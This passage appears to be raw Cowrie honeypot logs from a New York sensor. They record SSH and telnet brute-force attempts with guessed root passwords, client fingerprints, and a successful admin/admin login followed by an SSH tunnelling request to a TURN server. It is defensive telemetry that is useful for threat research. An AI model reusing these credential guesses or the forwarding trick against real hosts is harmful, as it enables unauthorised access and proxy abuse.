tp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:46:53.714209Z","src_ip":"37.233.85.71","session":"676eadb7a773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"n1frdz","message":"login attempt [root/n1frdz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:46:54.013263Z","src_ip":"37.233.85.71","session":"676eadb7a773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:46:55.117313Z","src_ip":"37.233.85.71","session":"676eadb7a773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47932,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc70c18f7adb","protocol":"telnet","message":"New connection: 192.119.13.58:47932 (10.17.0.5:23) [session: cc70c18f7adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:07.748627Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54950,"dst_ip":"10.17.0.5","dst_port":23,"session":"34b6bf25a92d","protocol":"telnet","message":"New connection: 192.119.13.58:54950 (10.17.0.5:23) [session: 34b6bf25a92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:10.445715Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40628,"dst_ip":"10.17.0.5","dst_port":23,"session":"cddb08dbf681","protocol":"telnet","message":"New connection: 192.119.13.58:40628 (10.17.0.5:23) [session: cddb08dbf681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:15.569527Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42910,"dst_ip":"10.17.0.5","dst_port":23,"session":"44fdf8714896","protocol":"telnet","message":"New connection: 192.119.13.58:42910 (10.17.0.5:23) [session: 44fdf8714896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:16.368780Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":34150,"dst_ip":"10.17.0.5","dst_port":22,"session":"292017511b38","protocol":"ssh","message":"New connection: 87.251.79.125:34150 (10.17.0.5:22) [session: 292017511b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:17.592936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:17.601412Z","src_ip":"87.251.79.125","session":"292017511b38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:17.672031Z","src_ip":"87.251.79.125","session":"292017511b38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"656565","message":"login attempt [root/656565] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:17.943716Z","src_ip":"87.251.79.125","session":"292017511b38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:19.017845Z","src_ip":"87.251.79.125","session":"292017511b38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.76176619529724,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:19.945224Z","src_ip":"192.119.13.58","session":"35e7c555578f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.15616726875305,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:23.218817Z","src_ip":"192.119.13.58","session":"95f6a652aae5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.231873989105225,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:23.724864Z","src_ip":"192.119.13.58","session":"6e648abaeeee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":58354,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5b02f6825bc","protocol":"ssh","message":"New connection: 94.159.98.239:58354 (10.17.0.5:22) [session: f5b02f6825bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:35.227455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:35.413037Z","src_ip":"94.159.98.239","session":"f5b02f6825bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:36.046578Z","src_ip":"94.159.98.239","session":"f5b02f6825bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xzsawq21","message":"login attempt [root/xzsawq21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:36.947161Z","src_ip":"94.159.98.239","session":"f5b02f6825bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:38.171327Z","src_ip":"94.159.98.239","session":"f5b02f6825bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33976,"dst_ip":"10.17.0.5","dst_port":23,"session":"8199f85ad520","protocol":"telnet","message":"New connection: 192.119.13.58:33976 (10.17.0.5:23) [session: 8199f85ad520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:40.779072Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":54004,"dst_ip":"159.203.135.109","dst_port":22,"session":"fea296c27b07","protocol":"ssh","message":"New connection: 147.45.197.250:54004 (159.203.135.109:22) [session: fea296c27b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:41.473412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:41.478172Z","src_ip":"147.45.197.250","session":"fea296c27b07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:41.575819Z","src_ip":"147.45.197.250","session":"fea296c27b07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pdtplf","message":"login attempt [root/pdtplf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:41.858024Z","src_ip":"147.45.197.250","session":"fea296c27b07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:42.955034Z","src_ip":"147.45.197.250","session":"fea296c27b07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42652,"dst_ip":"10.17.0.5","dst_port":23,"session":"68ac94a2fc5f","protocol":"telnet","message":"New connection: 192.119.13.58:42652 (10.17.0.5:23) [session: 68ac94a2fc5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:43.256206Z"}
{"eventid":"cowrie.session.closed","duration":38.457154273986816,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:46.205683Z","src_ip":"192.119.13.58","session":"cc70c18f7adb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180284023284912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:47.548937Z","src_ip":"192.119.13.58","session":"44fdf8714896","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34594,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e31d8957cea","protocol":"telnet","message":"New connection: 192.119.13.58:34594 (10.17.0.5:23) [session: 6e31d8957cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:48.789487Z"}
{"eventid":"cowrie.session.closed","duration":34.00696587562561,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:49.576331Z","src_ip":"192.119.13.58","session":"cddb08dbf681","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41756,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bcd98d8ab3d","protocol":"telnet","message":"New connection: 192.119.13.58:41756 (10.17.0.5:23) [session: 1bcd98d8ab3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:50.878014Z"}
{"eventid":"cowrie.session.closed","duration":42.690194606781006,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:53.135758Z","src_ip":"192.119.13.58","session":"34b6bf25a92d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44514,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d9588d9ee15","protocol":"telnet","message":"New connection: 192.119.13.58:44514 (10.17.0.5:23) [session: 5d9588d9ee15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:47:59.654413Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39770,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fb7aeaf26cf","protocol":"telnet","message":"New connection: 192.119.13.58:39770 (10.17.0.5:23) [session: 6fb7aeaf26cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:06.113539Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51492,"dst_ip":"10.17.0.5","dst_port":23,"session":"19505283de38","protocol":"telnet","message":"New connection: 192.119.13.58:51492 (10.17.0.5:23) [session: 19505283de38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:09.437325Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36762,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfb567c3d449","protocol":"telnet","message":"New connection: 192.119.13.58:36762 (10.17.0.5:23) [session: bfb567c3d449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:13.322083Z"}
{"eventid":"cowrie.session.closed","duration":37.37096691131592,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:18.149931Z","src_ip":"192.119.13.58","session":"8199f85ad520","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35502,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d6755003624","protocol":"telnet","message":"New connection: 192.119.13.58:35502 (10.17.0.5:23) [session: 1d6755003624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:21.250755Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":49040,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c79abc90c63","protocol":"ssh","message":"New connection: 45.148.10.121:49040 (10.17.0.5:22) [session: 8c79abc90c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:23.087775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:23.092219Z","src_ip":"45.148.10.121","session":"8c79abc90c63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:23.179546Z","src_ip":"45.148.10.121","session":"8c79abc90c63","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:23.449836Z","src_ip":"45.148.10.121","session":"8c79abc90c63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:23.539625Z","session":"8c79abc90c63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:23.629299Z","src_ip":"45.148.10.121","session":"8c79abc90c63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:23.632855Z","src_ip":"45.148.10.121","session":"8c79abc90c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:23.723197Z","src_ip":"45.148.10.121","session":"8c79abc90c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":49056,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b6a33cb9788","protocol":"ssh","message":"New connection: 45.148.10.121:49056 (10.17.0.5:22) [session: 2b6a33cb9788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:23.799082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:23.804050Z","src_ip":"45.148.10.121","session":"2b6a33cb9788","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:23.913630Z","src_ip":"45.148.10.121","session":"2b6a33cb9788","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:24.245357Z","src_ip":"45.148.10.121","session":"2b6a33cb9788","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:24.329567Z","session":"2b6a33cb9788","protocol":"ssh"}
